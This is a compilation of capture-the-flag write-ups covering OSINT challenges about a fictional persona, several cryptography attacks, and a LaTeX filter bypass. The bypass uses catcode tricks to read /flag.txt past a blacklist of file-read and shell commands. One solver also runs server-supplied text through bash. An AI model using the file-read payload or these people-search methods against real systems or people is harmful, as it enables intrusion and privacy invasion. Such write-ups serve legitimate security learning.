# @note: @es3n1n: feelin' lazypow_cmd = io.recvline().decode().split('work:')[1].strip()result = run(['bash', '-c', pow_cmd], stdout=PIPE)pow_solved = result.stdout.decode()
io.sendline(pow_solved.encode())
stuff = ['D', 'D', 'D', 'D', 'D', 'R', 'R', 'D', 'D', 'R', 'R', 'R', 'D', 'R', 'D', 'D', 'R', 'D', 'R', 'D', 'D', 'R', 'R', 'D', 'R', 'R', 'R', 'R', 'R', 'D', 'R', 'R', 'D', 'D', 'R', 'R', 'D', 'D', 'D', 'R', 'D', 'R', 'R', 'D', 'R', 'D', 'R', 'R', 'R', 'D', 'D', 'R', 'R', 'R', 'D', 'R', 'D', 'R', 'R', 'R', 'R', 'D', 'D', 'D', 'R', 'R', 'R', 'D', 'D', 'R', 'R', 'R', 'R', 'R', 'D', 'D', 'D', 'D', 'D', 'R', 'R', 'D', 'D', 'R', 'R', 'D', 'D', 'R', 'D', 'D', 'D', 'D', 'D', 'D']
for k in stuff: io.sendline(k.encode()) sleep(.01)
io.interactive()```
#### Flag
`SEKAI{Klee_was_a_brave_girl_today!_I_found_a_really_weird-looking_lizard!_Want_me_to_show_it_to_you?}` |
Original writeup ([https://github.com/WatTheWat/ctf-writeups/blob/main/deadface-HappyBirthday.md](https://github.com/WatTheWat/ctf-writeups/blob/main/deadface-HappyBirthday.md))
# Happy Birthday
From the past few OSINT challenges we found Mirveal's Mastodon account.

Now, however, we have to find his birth year and city.
The only thing we've found so far than can help us now is his full name, Akio Shiwaku.
Pulling up a handy OSINT website, https://osintframework.com/, we can see if anything to do with his name can help us find birth records. The tab under public records and birth records didn't get us anything with his name.
After a bit of digging I saw:
https://www.familytreenow.com/ under -> People Search Engines -> General People Search. 
Looks like this was the intended solution! The flag is: flag{1991_San Jose} |
# Delta Force Writeup
### TSG CTF 2023 - crypto 341 - 6 solves
> Commence Operation Delta!! Hint: Last part of this problem, discrete_log() function in sagemath is useful. Run ?discrete_log in sage CLI and read the document.
> [delta_force.tar.gz](delta_force.tar.gz)
#### Given Curve is Singular
We are given a curve in the form of [Weierstrass form](https://crypto.stanford.edu/pbc/notes/elliptic/weier.html): $E: y^{2} + a_{1}xy + a_{3}y = x^{3} +a_{2}x^{2} + a_{4} x + a_{6}$ over integer modulo ring $N = p q$, where $p$ and $q$ are hidden.
By checking the discriminant is zero, we find that the given curve is singular.```pythondef is_singular(): b2 = a1**2 + 4 * a2 b4 = 2 * a4 + a1 * a3 b6 = a3**2 + 4 * a6 b8 = a1**2 * a6 + 4 * a2 * a6 - a1 * a3 * a4 + a2 * a3**2 - a4**2 Di = -(b2**2) * b8 - 8 * b4**3 - 27 * b6**2 + 9 * b2 * b4 * b6 return Di % N == 0
assert is_singular(), "Curve is not singular"```
#### Goal: Solve DLP over Integer Modulo `N` over Singular Curve
We are given points $P = (Px, Py)$ and $Q = (Qx, Qy)$. $Q = d P$ where $d$ is secret. Our goal is to recover $d$ which contains the flag.
Denote $EC(k)$ be the curve defined over modulo ring $k$, and $ord(EC(k))$ be the order of $EC(k)$. If we factor $N$, we can solve each DLP over $EC(p)$ and $EC(q)$ and combine them using [chinese remainder theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem).
#### Factorization of `N = pq`
We do not know the values of $p$ and $q$ yet. However, we know that elliptic curve operation is [not well defined](https://crypto.stackexchange.com/questions/72613/elliptic-curve-discrete-log-in-a-composite-ring) in composite ring($N$ is composite). Also, if singular curve is the form of cusp($y^2 = x^3$) over prime $r$, its order is $r$. $ord(EC(N)) = ord(EC(p)) \times ord(EC(q))$.
Assuming that $EC(p)$ is a cusp($ord(EC(p)) = p$), $N$ will be the multiple of $p = ord(EC(p))$. If we calculate scalar multiplication $N * P$ over $EC(N)$, operation will be not well defined. Let $t$ be the intermediate value which breaks down the operation, because $t$'s inverse does not exist over composite $N$. This means $gcd(t, N)$ will give a nontrivial factor, which results in factorization, obtaining $p$.
```pythondef factor(): try: ec.scalar(N, P) except Exception as e: t, _ = list( map( int, str(e).lstrip("inverse of Mod(").rstrip(") does not exist").split(", "), ) ) p = gcd(t, N) q = N // p return p, q```
#### Solving DLP over `EC(p)`
Lets classify whether $EC(p)$ is a cusp(form $y^{2} = x^{3}$) or node(form $y^{2} = x^{3} + \alpha x^{2}$). To do this, we need to find a [singular point](https://en.wikipedia.org/wiki/Singular_point_of_a_curve). Compute partial derivatives of $EC(p)$ and find values where they vanish and also on a curve.
```pythondef calc_singular_point(f): FF = f.base_ring() p = FF.order()
dfdx = lambda x, y: FF(a1 * y - 3 * x**2 - 2 * a2 * x - a4) dfdy = lambda x, y: FF(2 * y + a1 * x + a3)
A = FF(6) B = FF(4 * a2 + a1**2) C = FF(2 * a4 + a1 * a3) roots = solve_quadratic(A, B, C)
for xp in roots: yp = FF((-a1 * xp - a3) * pow(2, -1, p)) assert dfdx(xp, yp) == 0 and dfdy(xp, yp) == 0 if f.subs(x=xp, y=yp) == 0: return xp, yp```
After that, we shift the curve to set the singular point as origin $(0, 0)$.
```python f = f.subs(x=x + xp, y=y + yp) assert f.subs(x=0, y=0) == 0 xy_coeff = f.coefficient(x * y) f = f.subs(y=y + xy_coeff * twoinv * x) assert f == x ** 3 - y ** 2, "Given curve is not a cusp"```
We confirmed $EC(p)$ is a cusp. We can solve DLP easily when a singular curve is a cusp form. $EC(p)$ has group isomorphism with $GF(p)$, and can be regarded as an additive group (Theorem 2.30 [^book]).
$$\varphi : EC(p) \rightarrow GF(p), \quad (x, y) \rightarrow \frac{x}{y}, \quad \inf \rightarrow 0 $$
We use this isomorphism $\varphi$ to map points from $EC(p)$ to elements of the group ($GF(p), +$). We first also shift the points because curve has shifted and mapped to an additive group. Therefore $ord(EC(p)) = p$.
```python # shift points Pxp = Px - xp Pyp = Py - yp - xy_coeff * twoinv * Pxp assert f.subs(x=Pxp, y=Pyp) == 0
Qxp = Qx - xp Qyp = Qy - yp - xy_coeff * twoinv * Qxp assert f.subs(x=Qxp, y=Qyp) == 0 # map to additive group over FF Q_ = FF(FF(Qxp) // FF(Qyp)) P_ = FF(FF(Pxp) // FF(Pyp))```
Solving DLP over additive group is easy.
```python dp = Q_ // P_```
We recovered $d_{p}$, which is the result of DLP over $EC(p)$ between $P$ and $Q$. Every implementation for this step is done at method `solve_dlp_over_p()`.
#### Solving DLP over `EC(q)`
Lets classify whether $EC(q)$ is a cusp(form $y^{2} = x^{3}$) or node(form $y^{2} = x^{3} + \alpha x^{2}$). Again, we need to find a [singular point](https://en.wikipedia.org/wiki/Singular_point_of_a_curve). Compute partial derivatives of $EC(p)$ and find values where they vanish, and also on a curve. We shift the curve to set the singular point as origin $(0, 0)$.
```python xq, yq = calc_singular_point(f)
# change of variables to make (0, 0) as singular point f = f.subs(x=x + xq, y=y + yq) assert f.subs(x=0, y=0) == 0 xy_coeff = f.coefficient(x * y) f = f.subs(y=y + xy_coeff * twoinv * x) assert alpha != 0 assert f == x**3 + alpha * x**2 - y**2```
We confirmed $EC(q)$ is a node of the form $y^{2} = x^{2} (x + \alpha)$. We have an isomorphism(Theorem 2.31 [^book]):
$$\phi: (x, y) \rightarrow \frac{y + \alpha x}{y - \alpha x}$$
$\alpha$ is not a quadratic residue in this challenge, so $\phi$ gives an isomorphism:
$$EC(q) \simeq S := \{ u + \alpha v | u, v \in GF(q), u^{2} - \alpha v^{2} = 1 \}$$
where the righthand side is a group under multiplication. This is called nonsplit multiplicative reduction. $S$ is a set of points which [field norm](https://en.wikipedia.org/wiki/Field_norm) is $1$. Let $K/F$ be an extension field when $F = GF(q)$. Norm map $Norm_{K/F}$ is [surjective](https://math.stackexchange.com/questions/143711/show-the-norm-map-is-surjective); [(Proof)](https://math.stackexchange.com/questions/1717178/extension-of-finite-fields-under-norm-map). By the proof, $ord(S)$(cardinality of kernel) is equal to $q + 1$. Confirmation:
```python # order of Elliptic curve over GF(q) = q + 1 oq = q + 1 ec = EC(FF, (a1, a2, a3, a4, a6)) assert ec.iszeropoint(P) and ec.iszeropoint(Q) assert ec.scalar(oq, P) == ec.O and ec.scalar(oq, Q) == ec.O```
We know $ord(EC(q)) = q + 1$. Luckily, $q + 1$ is $B$-smooth, so we can apply [Pohlig Hellman](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm) algorithm for solving the DLP.
```python factors = [2, 2148001447, ...] assert reduce(mul, factors) == oq # order is B-smooth where B = 2 ** 33 B = 2**33 assert all(fac << B for fac in factors)```
Pohlig Hellman algorithm only cares about input elements form a finite abelian group whose order is a smooth integer, which is our case. Sagemath has [`discrete_log`](https://doc.sagemath.org/html/en/reference/groups/sage/groups/generic.html#sage.groups.generic.discrete_log) method implemented, which takes elements and operations to make every step of the algorithm well defined. Identity, inverse, addition must be defined over custom groups. Define `class ECPoint` which is a wrapper of a tuple, define operations, and plug in to `discrete_log`.
```python # ECPoint class for discrete_log class ECPoint: def __init__(self, point): self.point = point
def is_zero(self): return self.point == EC.O
def __eq__(self, other): return self.point == other.point
def __hash__(self): return hash(self.point)
# factory method for discrete_log add = lambda x, y: ECPoint(ec.add(x.point, y.point)) inv = lambda x: ECPoint(ec.negate(x.point))
# wrapping points with ECPoint class identity = ECPoint(ec.O) P_, Q_ = ECPoint(P), ECPoint(Q)
# discrete_log time dq = discrete_log( Q_, P_, ord=oq, operation="other", identity=identity, inverse=inv, op=add )```
Recovering $d_{q}$ takes about 10 minutes in my laptop, which is the result of DLP over $EC(q)$ between $P$ and $Q$. Every implementation for this step is done at method `solve_dlp_over_q()`.
#### Solving DLP over `EC(N)`
We solved DLP over $EC(p)$ and $EC(q)$. Combine the results using the Chinese remainder theorem.
```pythondef solve_dlp_over_N(): p, q = factor() dp = solve_dlp_over_p(p) dq = solve_dlp_over_q(q) return crt([dp, dq], [p, q + 1])```
We have recovered $d$, which is the result of DLP over $EC(N)$ between $P$ and $Q$.
#### Flag
Recover `flag` based on `d`.
```pythonfrom Crypto.Util.number import long_to_bytes as l2b
flag = l2b(int(d))flag = flag[: flag.index(b"}") + 1]```
We get flag.
```TSGCTF{@l1_y0u_n3Ed_IS_ReaDiNG_5ilvErman_ThE_@r1thmetic_of_e11iPtiC_cURVe5}```
Problem src: [problem.sage](problem.sage) depending on [elliptic_curve.py](elliptic_curve.py)
Problem output: [output.txt](output.txt)
Exploit driver code: [solve.sage](solve.sage)
#### References
[^book]: Elliptic Curves: Number Theory and Cryptography 2nd Edition |
# Latex
When visiting the website, we see it’s a simple form enabling us to input LaTeX code and get a PDF file showing the output:

When reading the source code, we come across `main.go`, which holds the LaTeX logic of the website. `main.go` holds a list of commands that it considers as insecure:
```goblacklist = []string{"\\input", "include", "newread", "openin", "file", "read", "closein", "usepackage", "fileline", "verbatiminput", "url", "href", "text", "write", "newwrite", "outfile", "closeout", "immediate", "|", "write18", "includegraphics", "openout", "newcommand", "expandafter", "csname", "endcsname", "^^"}```
So normally when we are talking filters that are used ******************before****************** the code has actually been executed, we consider:
- Maybe we can bypass the filter by encoding the payload?- Maybe we can insert some characters that make the payload pass the filter, but LaTeX ignores?
We tried both these without digging too much, didn’t work.
Another thing we saw was:
> Why does `\input` in the blacklist include the backslash and other commands don’t? Maybe we can find a way to include something between \ and input to make it pass the filter.>
Then I came across this thing called [catcode](https://en.wikibooks.org/wiki/TeX/catcode), a command that essentially changes the “meaning” of a character. A simple PoC showed that it worked:
```latex\documentclass[12pt]{article}\begin{document}\catcode`\@=0@underline{hello}\end{document}```

**The challenges we needed to solve where:**
- Execute `\input{/flag.txt}` by adding a char in-between or changing the meaning of `\`- Change the meaning of `{`, `_` and `}` since they are included in the flag- `{` and `}` still need to be available though, because they are used for the `{/flag.txt}` part
I ended up with the following payload:
```latex\documentclass{article}\begin{document}\catcode`\@=0\catcode`\{=9\catcode`\}=9\catcode`\_=13\catcode`\?=1\catcode`\!=2@input?/flag.txt!\catcode`\{=1\catcode`\}=2\catcode`\_=8\catcode`\$=3\catcode`\?=12\catcode`\!=12\end{document}```
Which gave us the flag:

Flag: `TCP1P{bypassing_latex_waf_require_some_latex_knowledge}` |
# Task### Mama y Papa
Alejandro has been seen as an easy mark for DEADFACE. Do a sweep of his social media to see what information DEADFACE was able to gather on Alejandro. Scroll through Alejandro's Social media to find out the name of his father and mother.
Submit the flag as: flag{father<3mother}Example: flag{John<3Susan}
# Writeup
Searching for the keyword “Alejandro” on the ghost town forum gave this result,

Looking up the provided profile through the provided link gives us the target's full name, **Alejandro Ricardo Montoya de la Rosa Rodriguez**
His family isn't on Facebook, but I'll bet if we look at other popular social media (Instagram) we'll find some more pictures with him.
This is the Instagram profile we find when using his whole name in the search.

Same profile picture, we must be on the right track!

This post on his profile tells us that his parents are Carmelo and Delfina.
So the flag must be:
flag{Carmelo<3Delfina} |
This is what we're given:```import secretsimport hashlibimport base64import re
pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")flag_content = b"@@REDUCTED@@"assert pattern.fullmatch(flag_content.decode())
flag_hash = hashlib.md5(flag_content).digest()flag = b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}"
key_stream = list(secrets.token_bytes(16))encrypted_flags = [flag[i]^key_stream[i%16] for i in range(len(flag))]
print("cipher =",encrypted_flags)print("flag_length =",len(flag))```
And this is output.txt:```cipher = [163, 227, 86, 67, 200, 14, 176, 188, 101, 214, 117, 82, 99, 71, 199, 117, 139, 130, 78, 43, 224, 101, 183, 219, 82, 213, 70, 95, 101, 118, 133, 46, 146, 239, 98, 97, 250, 123, 183, 218, 82, 218, 1, 97, 62, 29, 145, 105, 168, 136, 116, 95, 253, 59, 148, 132, 98, 207, 118, 66, 52, 118, 197, 98, 168, 201, 126, 117, 195, 61, 184, 141, 82, 210, 86, 98, 47, 118, 144, 58, 221, 192, 99, 48, 224, 98, 185, 129, 108, 152, 25, 97, 96, 85, 173, 58, 148, 194, 104, 124, 182, 99, 162, 216, 99, 157, 117, 106, 59, 64, 213, 25, 148, 217, 109, 42, 224, 101, 183, 219, 127, 236, 67, 26, 12, 29, 174, 118, 153, 213, 78, 43, 245, 52, 151, 199, 113, 214, 117, 66, 121, 72, 141, 111, 168, 194, 112, 43, 244, 123, 183, 218, 82, 199, 86, 19, 47, 29, 141, 26, 139, 239, 112, 95, 239, 99, 185, 141, 57, 222, 117, 22, 58, 89, 153, 117, 133, 156, 78, 98, 233, 60, 148, 129, 121, 236, 67, 26, 12, 64, 159, 53, 196, 152, 100, 124, 174, 45, 148, 138, 104, 155, 75, 75, 32, 76, 174, 47, 131, 239, 100, 115, 175, 59, 148, 156, 101, 214, 117, 26, 103, 85, 173, 105, 139, 213, 78, 114, 168, 38, 175, 135, 96, 236, 68, 75, 62, 17, 194, 52, 211, 239, 99, 101, 224, 98, 248, 220, 38, 128, 86, 23, 63, 80, 223, 25, 146, 222, 123, 111, 229, 23, 163, 137, 101, 210, 66, 95, 12, 19, 220, 111, 218, 138, 56, 45, 166, 97, 139, 188, 90, 195, 28, 77, 2, 113, 152, 34, 165, 252, 88, 67, 250, 44, 163, 167, 64, 234, 1, 119, 18, 20, 204, 59]flag_length = 304```
So, this problem seems to just be doing XOR encryption with a key of length 16. Maybe we can figure out this key byte by byte?
First, we can use the flag prefix to get the 7 bytes of the key. After that, we can essentially brute force character by character with the commented-out script, which tests all 256 possible bytes for that position and checks if each byte results in a flag in which the flag_content section entirely matches the RegEx pattern.
At each step of this script, we can essentially just use logic by looking at all the different words and figuring out which is the most likely possiblity. Once we figure out which byte is the correct byte in the key, we can simply append that to the key_stream. Note that in my program, I forgot that I could just print out the hex value of the byte, so I just appended the XOR of the character I figured out works in a certain position with the cipher's value at that position.
*Also note that this logical deduction should probably include the fact that this flag includes LEET speak, something I did not realize until after decrypting the entire thing :P*
```import re
pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
cipher = [163, 227, 86, 67, 200, 14, 176, 188, 101, 214, 117, 82, 99, 71, 199, 117, 139, 130, 78, 43, 224, 101, 183, 219, 82, 213, 70, 95, 101, 118, 133, 46, 146, 239, 98, 97, 250, 123, 183, 218, 82, 218, 1, 97, 62, 29, 145, 105, 168, 136, 116, 95, 253, 59, 148, 132, 98, 207, 118, 66, 52, 118, 197, 98, 168, 201, 126, 117, 195, 61, 184, 141, 82, 210, 86, 98, 47, 118, 144, 58, 221, 192, 99, 48, 224, 98, 185, 129, 108, 152, 25, 97, 96, 85, 173, 58, 148, 194, 104, 124, 182, 99, 162, 216, 99, 157, 117, 106, 59, 64, 213, 25, 148, 217, 109, 42, 224, 101, 183, 219, 127, 236, 67, 26, 12, 29, 174, 118, 153, 213, 78, 43, 245, 52, 151, 199, 113, 214, 117, 66, 121, 72, 141, 111, 168, 194, 112, 43, 244, 123, 183, 218, 82, 199, 86, 19, 47, 29, 141, 26, 139, 239, 112, 95, 239, 99, 185, 141, 57, 222, 117, 22, 58, 89, 153, 117, 133, 156, 78, 98, 233, 60, 148, 129, 121, 236, 67, 26, 12, 64, 159, 53, 196, 152, 100, 124, 174, 45, 148, 138, 104, 155, 75, 75, 32, 76, 174, 47, 131, 239, 100, 115, 175, 59, 148, 156, 101, 214, 117, 26, 103, 85, 173, 105, 139, 213, 78, 114, 168, 38, 175, 135, 96, 236, 68, 75, 62, 17, 194, 52, 211, 239, 99, 101, 224, 98, 248, 220, 38, 128, 86, 23, 63, 80, 223, 25, 146, 222, 123, 111, 229, 23, 163, 137, 101, 210, 66, 95, 12, 19, 220, 111, 218, 138, 56, 45, 166, 97, 139, 188, 90, 195, 28, 77, 2, 113, 152, 34, 165, 252, 88, 67, 250, 44, 163, 167, 64, 234, 1, 119, 18, 20, 204, 59]flag_length = 304
key_stream = []m = 'TSGCTF{'for i in range(len(m)): key_stream.append(ord(m[i]) ^ cipher[i])
key_stream.append(ord('o') ^ cipher[231])key_stream.append(ord('m') ^ cipher[232])key_stream.append(ord('e') ^ cipher[217])key_stream.append(ord('_') ^ cipher[10])key_stream.append(ord('u') ^ cipher[235])key_stream.append(ord('m') ^ cipher[236])key_stream.append(ord('8') ^ cipher[237])key_stream.append(ord('3') ^ cipher[238])key_stream.append(ord('r') ^ cipher[239])key_stream.append(ord('$') ^ cipher[240])
'''for c in range(256): key_stream.append(c) output = '' for i in range(len(cipher)): if i % 16 < len(key_stream): a = chr(cipher[i] ^ key_stream[i % 16]) #if i > 7 and i < 271: #if not pattern.match(a): #print(a) output += a else: output += '~'
#print(output) #print('\nmatch' if pattern.fullmatch(output[7:278]) else '\nno match') if pattern.fullmatch(output[7:278]): print(output,end='\n\n') del key_stream[-1] '''
output = ''for i in range(len(cipher)): if i % 16 < len(key_stream): a = chr(cipher[i] ^ key_stream[i % 16]) #if i > 7 and i < 271: #if not pattern.match(a): #print(a) output += a else: output += '~'
print(output)print('\nmatch' if pattern.fullmatch(output[7:278]) else '\nno match')
```
TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==} |
This is what we're given:```from Crypto.Util.number import getPrime
p = getPrime(1024)q = getPrime(1024)N = p * qe = 0x10001
with open('flag.txt', 'rb') as f: flag = f.read()
assert len(flag) == 33
flag_header = flag[:7] # TSGCTF{flag_content = flag[7:-1]flag_footer = flag[-1:] # }
assert len(flag_content) == len({byte for byte in flag_content}) # flag_content is unique
c_list = [pow(byte, e, N) for byte in flag]clues = [x * y % N for x, y in zip(c_list[:-1], c_list[1:])]clues.sort()
print(f'N = {N}')print(f'e = {e}')print(f'clues = {clues}')```
We're given N, e, and the clues in output.txt. I've included them in my solution code down below.
Seems like we have no unique characters. We're also given the multiplication of the RSA encryptions of each pair of consecutive bytes, albeit in some shuffled order.
Here's the idea behind the solution: Because we're given the multiplication of the RSA encryptions of consecutive bytes, we can essentially brute force combinations of possible characters for each clue. The only problem is there may be collisions, i.e. the same two characters produce the same clue value. To get around this, we can employ both the fact that we have only unique characters and a little bit of common sense to figure out the flag!
The implementation is simple.
1. Create a list of possible characters 2. Iterate through all clues 3. Iterate through all pairs of possible characters with two nested for loops 4. Check if they are a valid pair for the flag. 5. If they are, add them to an adjacency map that essentially stores a list of all characters that can be next to the key. 5.5 Make sure to add it by using both orders of a (key, value) pair 6. Once the iterating is all done, remove all the consecutive characters of the flag prefix to make it easier to figure out 7. With the final adjacency list, use unique characters and some common sense to get the flag! 7.5 You could technically implement BFS to find a path from the '{' to the '}' for a more rigorous solution, but I was too lazy to do that 8. Profit!
Here's the adjacency map:
{'s': ['I', 'T'], 'I': ['s', ','], 'f': ['l', '-'], 'l': ['f', 'F', '8', 'a'], 'C': [], 'G': [], 'd': ['!', 'U'], '!': ['d'], 'B': ['2', 'T'], '2': ['B'], 'K': [',', 'O'], ',': ['K', 'I', '~'], '7': ['<', 'b'], '<': ['7', '~', 'b'], 'n': ['u', '1'], 'u': ['n', '_'], 'e': ['U', '-'], 'U': ['e', '6', 'd', 'q'], 'S': [], 'T': ['s', 'Z', 'H', 'B'], '-': ['f', 'e'], '6': ['U', 'p'], 'Z': ['3', 'T'], '3': ['Z'], 'A': ['5', '_'], '5': ['A', 'i'], 'O': ['K', '{'], 'g': ['?', 'a'], '?': ['g', 'x', '`', 'X'], 'D': ['X', '}'], 'X': ['D', '?'], 'i': ['5', '\\', 'H', 'R', '8'], '\\': ['i'], 'q': ['1', 'U'], '1': ['q', 'x', 'n'], 'H': ['i', 'T', 'M'], 'F': ['l', 'M'], 'x': ['?', '1'], '~': ['<', '0', ','], 'R': ['i'], '{': ['O'], 'b': ['<', '7'], '8': ['i', 'l', 'c'], 'p': ['6'], '0': ['~'], '`': ['?'], '}': ['D'], '_': ['A', 'u'], 'a': ['g', 'l'], 'M': ['F', 'H'], 'c': ['8']} And here is our flag!
TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}
The actual implementation follows below:
```N = 23270433480920204754247611545325351123344837487480637119344134402239723224072753511766733288907047277110318616688410345451695008290697208699431350412549980332693080979894504737640802849242656337537061128034361792156302502329044951868719492095983428863678764573927362740207756141512536958600798465368672826288270218390845725069636496528488276905161318078890887808033722334376853632300178257589009018165644740844747444214979597702959381078126401914809713991087656801656368079319383579542103855944156160231935875884314630699684359910296730669798237991501134339113682532446997472722560474195749179320370386661938616345489e = 65537clues = [790128007826920672966041424911766354167695121053219604283198146207007061791691778597663178563455647947105718896263099495348666331968821896627253287975936857535926164644548223394731131868459847861503995994130787209417795249554290922334587840664276128893082715626698208421033163870050616673531495044580102830036983208043090136212931697438690030675611301000171270559392107484305007589373493054650247495594665847524590737367285135216109196557363472975056201832374767680569696302197844301099024043070258479146726214414688459938129079248125143388403636784068208501745074616490491553776387248926153964494371491351883633209, 2603711767185838325352475153597847161854130118046369285623915043550612314176250745686994158628404520769025735077328213489305045750703593138538988340789187229888984902266067604215108157628606721779126603704209046389682027226116051092595210765409544706918465385789940134172311788347486915924020739666375005469879097995622537311532236494537245411805276338873499191960938465585934543775755531517716535416304391622644348521922876999587501073379321712481689748053619310595304248483018790236975241904276396525088600521271478581198340688684196813199138458166434400373640927130152301112142288723416868406008752554068971897796, 3555341764263168489859556591176672830061219988177503466050405264336799992429135972104282899942353497557907652603350792489036502274605405291660887915416806360972250779650137925049172948193768071600510818240408613776868308398496542674893829543607137246662897358746317583492470427929271497748068342690213991707491115445413140859740482959186024227616377454531805749180736700863648663258910520198205760375727899867937645622163083304815955402598214976712655286175624671893539673068172120613290880503614440004957010458255469774287344198988168780496350286219383906192401923310489444670837618343011413316177831554304813263293, 4392082234365429459669635522490994995545586622061892472817657701654688511628534821883962531710455275948798581412337865098670688087280709878221953558349740960329160083052847343991585094759562763366071177122979453158141777809615757029472963694552128931278267696610442930805576661385112057944278069707887638239490706210686333113376066401571156753733092557168107224196049486567238631166786676598900544251407195743615657256591953956049341610070209608544320990612354876845027617374094455067062785749092329211594227845595088640923695318792943759161256049917608399044564463672780212345061033003580514031008070984006394521668, 6978684590718573243656949612105542758488203443423350685382013479128441571089892176317290844763856663774755922991003851926082052833399193817638062111399819008457173066656968710933915780345439852889885256407111306528134824030362697685736295137459712033151836378581847902384300946884645175079050691372299609133912373238921511680524246835804911263766704418407215767692780171673688161098855454535667470100406268512578658298590762764201801122154299700156455886608231139966939989436753650901587246230468663005258431711603830727021655440551309738459469083116564621458459773745615809415945961545341435040532110184451588706909, 7730262380985917599887572033422177147289651970502093448402835145164830024426315228806715285722659089566236129886746480764786215693984588815504124791891393731400575988135841499609611797069840377647924075117377822033352586269608104804125510707845643611710455554838427560803831147423159767827522768368918988345993436576494036323665588754259053163989171434047082195256858849152960407740290442654588260794482691958589991068313525613320625439489177141737508702594419202694397478381467839720929129426927668998377854144326405841432095191488744613115154408572282654135532074279295245338650730047025690759623846022642571071963, 7870428672617888994422906853248211446366754259733482277745650556132131582761503165723404791505714110195629648744360328326420176714096715656418558504951970022788814322102278336415722851826552839236483969562821649541794780657722003849928232610560989749085154296910943580468121448389230575504988958640111467569744601441342152829070870718010034108398733578934054919041551400855436743799387390257957855545880360755020395022783083503166714335601095744185285348725860445725936407700491229265197561539811624147428412389726767719262845468067268220408467424614068704646047656505819137603600314223155281334867541677294657269390, 8609510284694803043189705088389821843021038300248628370429317978814889304430328856895995414830838739620301124621301721537775180909783646308710312015748757692570074444146048063288330338241388649181127306992151615819806150752330593447168414624657327459419994792062262566992856822874586796213398413460564073159223988672183437164224830058703931407420751347450506434382840960774130788709586835237024062653074786060686562890430445063234694495435768852328222652802008741192860317680389695015771978657721235243624844185665810736779862719888645610567314465422364407861744887985325045151347091814327252867102598023702123634893, 8764012548720665713701201793155399309870111965369993371803350036539422185650799931107265721471961540862241262644925810817557287987388612113771424453413029690339343352048592343900357225140896471551985699215620154773850213962677651930062137448251705285861554850231313763242085813951196025573454108680549038776926779092562595635561865377427363791539907677647388233742883434894879173415977599370552750513325217529346778748301898211759441267178121774471269812805873578379664777277726959180923972945741326150250571072096537087980515856259481465906892196132539685345329249252030441836333228304113901123751209313594774048411, 9008821235404534774894891840865644757418002303365121156019461336283705824480673407281784353738233629927976889096625448460073180574899056351401937861566897823469165990311234532903677780258240301012377511917098868850017485389860900161403497054524629055763134706771541438200372479388084747248076874591357294592908214804614821614134453271058041821309928429492064920317496131336615880002176651354627658576705156794615097981712459554762647700173303841240037417204812844860127520500295842333216976016883771600927798062138428278165410002807841897458765380987909422855298376904935944755071636375020175879303691494691648729571, 10474911617314344093035296274381234749101583500527437860041431188313938156453438490783669910408601907840231565111467423937905944246300919566807077410926355571241589514754269643137702018163430659263615177391720920777071669679112457463342818217687533446232740783283032619985290522536451057260694049911207086850829161304525815898322999460249349418001236987856485233784175562194872850068860587367749350367692115642230663276488474831786206392289391683584796316038243477608620299442818925558267755743944966965590254288900990166554824598295411812423812057962439493264058570961162833692763593404011287652460274292011178704229, 13110381638342217700044116835482318354178640599253721255902105118218292921908590875402841920977595295587154969905468217393514029780192254567805167189561981288346541104187097786158686610182752582262736216900889630694589441983532956902475092397149348354578876977278601897135958677041840489787116994835677415918526784950587842308692695028053266428000179056540851210672916239382320991277325978720399398297894385691874713065477018336173537483516990191924630941831467023912809007439219185416637094870113459693399267881245563091987656247602891135995257754370121186475874895953059792350690971513600960862888017703690554083459, 13722721572470236588898440206865856389152421592146331372623620761105236258642769428613680530235913336412231001256536483370539801648315256149288975606335360634006014491805081550253603688595254959670129531815820738880819515467443628589419885739357776607879281030305390788462268201177519696379582421075205825223506882790846127395851423387355250518925599458496527319759716961190269475043488198823985171705163502605280956855529982181144980535693738091067309543085139412462069952512044802852746114286283887473219768202644823684600027741551806766726373880658547387314450097217066672915328591025976805608015523890515132426387, 13907378143102130732902591528175452184668250175669078564922722729277532332899307298492183863825002170085267037120966710137296520632659066245811450863381591820314104559304716576579947768421047268607544985860210956387427521210211129755935598531328869037393608408989674670981088938567613781468335811260237492104595950519517518617578677677787025453461327336960623845610621752404588399599991001699803056576669100638249157172825774364065063815561453951010729993716989597143669677725856650954155213710311820417545885775510044222220541796461890558861039133971629201524057880779170401640703503019641132712790726669921828415791, 14120400860385637396632607286135661793958438285062218101343811442329217898129411032002000350977425825996409346097620544352258144601308497322065150782257038383914436998782920142187156177557396917159637452504378331382141301919552487290646033095326670250741650299062291668092793457098216953317991446828793222200503107261585592188754090447817955186450059917734158228634856449513892854663100410202968587025379391901260869884847048181290904241170031050049608323224619595992013998760176044527640260560226425674718522654115796289752023951046001416701610705547940854507383323162061543349749057955527154808438878655873381924405, 14698896348088063156187270997421588677714399061222880874144618906068645039117367567961854550911710929776929577319055009436987940195644271595440197688498312761277731697978188128431643248470794438585436719216257105191878641049129049923301277529851691883566500423292922218796681106904405477311127758973402766359242062810538614875409810216565025132923823792242500786728482925652318681058145996956719422754840265487588886384210435421642534141346623264992306879009731648539475819770296162993354959588928869246795665015356541113141789547198151388517967205114998707046242427529782450631008568205068970921337432050960660682459, 15029884228277986489199399805546744756384194842114602643592034471387136929994797445880809477875738231285145593249223445053535965293809750894912475666388265290853063554307747052471064827789230626431100261538591961826419047326217130106954938564102444946805966835435441345928820303084749906070834370292328693504130454703539813471516484793230944669747561760610824827040233316834137947013336066206964971490936063361717836670055655255008278013748443661849914080655007167036195301285165244039723352500939219835986599194370637835048745016392523067465483063368927290961796554522196264881536578834490630583213917304029865939161, 